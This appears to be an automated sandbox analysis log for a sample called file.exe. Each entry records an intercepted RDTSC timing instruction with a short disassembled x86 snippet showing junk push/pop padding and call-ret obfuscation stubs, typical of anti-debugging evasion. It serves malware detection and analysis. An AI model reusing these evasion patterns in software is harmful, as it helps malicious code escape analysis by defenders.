Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B72AE second address: 3B72CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE34C00CE8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77CC second address: 3B77D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77D2 second address: 3B77D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77D6 second address: 3B77DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77DA second address: 3B7853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE34C00CE3h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FDE34C00CD8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FDE34C00CDCh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FDE34C00CD8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c and si, 67FDh 0x00000051 mov dword ptr [ebp+122D3B07h], ebx 0x00000057 push eax 0x00000058 pushad 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BA78F second address: 3BA7E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC876h 0x00000008 jmp 00007FDE34EAC86Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FDE34EAC86Ah 0x00000016 nop 0x00000017 sub dword ptr [ebp+122D3ADBh], ecx 0x0000001d push 00000000h 0x0000001f jp 00007FDE34EAC86Ch 0x00000025 mov dword ptr [ebp+12462124h], eax 0x0000002b push 00000000h 0x0000002d mov di, si 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BA7E0 second address: 3BA7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDE34C00CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBDA7 second address: 3BBDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBDAB second address: 3BBE0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, 7B00h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FDE34C00CD8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e adc esi, 1C14AABDh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FDE34C00CD8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 xchg eax, ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BBB4B second address: 3BBB55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC893 second address: 3BC8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC8A2 second address: 3BC8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC8A6 second address: 3BC8AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BC8AA second address: 3BC8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE34EAC86Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BE672 second address: 3BE67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDE34C00CD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37E3A1 second address: 37E3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C0F5F second address: 3C0FCF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CD8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D3A19h] 0x00000015 push 00000000h 0x00000017 call 00007FDE34C00CE6h 0x0000001c mov bx, 1CDAh 0x00000020 pop ebx 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FDE34C00CD8h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov dword ptr [ebp+1246B3ACh], ecx 0x00000043 xchg eax, esi 0x00000044 ja 00007FDE34C00CDAh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007FDE34C00CD8h 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C2F8D second address: 3C2F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C2F91 second address: 3C2FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C1107 second address: 3C1120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C124F second address: 3C1253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C46AE second address: 3C46B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C56FD second address: 3C5701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C48E5 second address: 3C48EF instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE34EAC86Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C48EF second address: 3C48FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C48FD second address: 3C4902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C4902 second address: 3C490C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE34C00CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C772B second address: 3C77A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jc 00007FDE34EAC866h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jl 00007FDE34EAC869h 0x00000017 push ebx 0x00000018 push esi 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov bl, D6h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov dword ptr [ebp+122D3C40h], ecx 0x00000031 mov eax, dword ptr [ebp+122D0C41h] 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FDE34EAC868h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D1DF6h], edi 0x00000057 push FFFFFFFFh 0x00000059 mov bx, 5957h 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FDE34EAC873h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C87D7 second address: 3C87EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34C00CE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CB5B3 second address: 3CB5B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CB5B7 second address: 3CB5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CB5BD second address: 3CB5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CB5C3 second address: 3CB5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CC562 second address: 3CC567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CC567 second address: 3CC5B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor di, ADCEh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FDE34C00CD8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007FDE34C00CD8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CD53E second address: 3CD59E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e push 00000000h 0x00000010 clc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FDE34EAC868h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d xchg eax, esi 0x0000002e push edi 0x0000002f pushad 0x00000030 push esi 0x00000031 pop esi 0x00000032 jc 00007FDE34EAC866h 0x00000038 popad 0x00000039 pop edi 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FDE34EAC86Fh 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CE55F second address: 3CE5FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FDE34C00CD8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FDE34C00CD8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jmp 00007FDE34C00CE7h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007FDE34C00CD8h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 xchg eax, esi 0x00000064 push edi 0x00000065 pushad 0x00000066 pushad 0x00000067 popad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CF4BD second address: 3CF4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CF4C1 second address: 3CF4C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D06C5 second address: 3D06CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DB565 second address: 3DB579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDE34C00CD6h 0x0000000a pop ecx 0x0000000b push esi 0x0000000c jnp 00007FDE34C00CD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DB6A3 second address: 3DB6B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DB7F8 second address: 3DB802 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34C00CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F1A second address: 3E0F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F20 second address: 3E0F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F25 second address: 3E0F2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F2C second address: 3E0F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F39 second address: 3E0F53 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F53 second address: 3E0F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F58 second address: 3E0F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FDE34EAC86Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnp 00007FDE34EAC874h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0F75 second address: 3E0F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E117C second address: 3E1184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E5C4F second address: 3E5C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E5C53 second address: 3E5C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E5C59 second address: 3E5C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E5C5F second address: 3E5C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E50D6 second address: 3E50E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jc 00007FDE34C00CDEh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E50E8 second address: 3E50FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007FDE34EAC866h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E566A second address: 3E5670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E5670 second address: 3E567A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E567A second address: 3E5680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E580C second address: 3E582D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FDE34EAC866h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E599D second address: 3E59A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBEC1 second address: 3EBECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBECE second address: 3EBEE4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 jnl 00007FDE34C00CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EAD54 second address: 3EAD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FDE34EAC871h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EAD6E second address: 3EAD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB464 second address: 3EB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FDE34EAC875h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB601 second address: 3EB607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB607 second address: 3EB62F instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE34EAC866h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FDE34EAC873h 0x00000012 jbe 00007FDE34EAC866h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB780 second address: 3EB784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB8D6 second address: 3EB8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB8DA second address: 3EB906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FDE34C00CE2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34C00CE2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EB906 second address: 3EB910 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE34EAC866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 375EF3 second address: 375F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBD42 second address: 3EBD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 ja 00007FDE34EAC866h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EA618 second address: 3EA63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jbe 00007FDE34C00CD8h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jnp 00007FDE34C00CD6h 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d jno 00007FDE34C00CD6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EED0C second address: 3EED10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EED10 second address: 3EED4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE8h 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EED4A second address: 3EED65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
